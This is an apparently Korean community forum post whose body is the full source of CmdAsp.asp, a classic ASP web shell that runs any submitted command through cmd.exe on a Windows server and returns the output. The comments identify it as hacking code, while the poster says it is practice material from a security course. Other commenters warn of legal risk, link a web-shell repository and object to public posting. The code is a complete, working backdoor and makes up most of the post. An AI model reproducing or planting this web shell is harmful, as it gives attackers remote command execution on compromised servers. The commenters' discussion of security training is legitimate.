오늘의유머 원문링크 https://m.todayhumor.co.kr/view.php?table=bestofbest&no=275350
<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
' File: CmdAsp.asp
' Author: Maceo <maceo @ dogmile.com>
' Release: 2000-12-01
' OS: Windows 2000, 4.0 NT
' -------------------------------------------
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
댓글(24)
?!
저 코드에서 shell 부분이 해킹 코드입니다..
웹쉘코드라고 서버측에다가 저 파일을 업로드해서 웹상에서 실행하면
Shell객체를 통해서 서버 안으로 들어가 File System Object 거쳐 서버 내부의 파일을 실행할 수 있는 코드인데..
보니까 cmd 실행시키고 세션까지 남기네요..
이 코드 쓰시다가 잘못하면 해킹 시도로 몰릴 수 있고 백신이 있으면 아마 페이지 차단될 겁니다.
교육용이 맞는지 의심스럽네요..
정보보안 전문가 교육(사설학원)중에 웹쉘 실습과정이 있습니다
네 웹쉘코드 맞고 서버의 cmd를 실행 시키는 코드 입니다.
보안교육과정에 나오는 내용이며 실습코드이고 해킹시도로 몰릴수 있다는것도 알고 있습니다 ㅎ
테스트는 개인서버에다가만 하려구요; 여기가 메일을 보내는게 차단되어 있어서 회사에서 실습결과보여 주려고 이곳에 올렸습니다.
아... 참고로 이거 혹시나 함부로 쓰지 마세여... 요즘 사이트들에다간 일반인이 저거 실행시키기도 어렵고
해킹은 안되는데 요즘 사이트들은 해킹시도 로그남고 따로 관리하고 해서 철컹철컹 할수도 있어요.
일반적인 sql인젝션이나 크로스사이트 스크립팅은 들어봤던 내용인데 웹쉘이라는걸 어제 교육때 처음 알아서 신기하네요 ㅋ
괜찮아요 저도 몰라욬ㅋㅋㅋㅋㅋㅋ
와.. 고수다.. 어케 알았져.... 저게 흔한 코드인가; ASP는 첨이라 저 코드 내용도 잘 몰라요;; 걍
서버에 웹쉘스크립트? 같은 객체 생성시키고 네트워크객체도 생성시키고
웹에서 받은 명령어를 시스템에 전달하는거 같은데
정확하겐 저도 모르겠네요;;; 혹시 시간 괜찮으시면 설명좀 ㅋ
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.asp
간단한 검색만으로 나오는걸 굳이 여기에 올리실 필요가...
그리고 교육하시면 적당하게 노트를 작성하시지 굳이 많은사람이 볼 수 있는곳에 보안취약점을 올리는건 아니라고 봅니다.
MOVE_BESTOFBEST/275350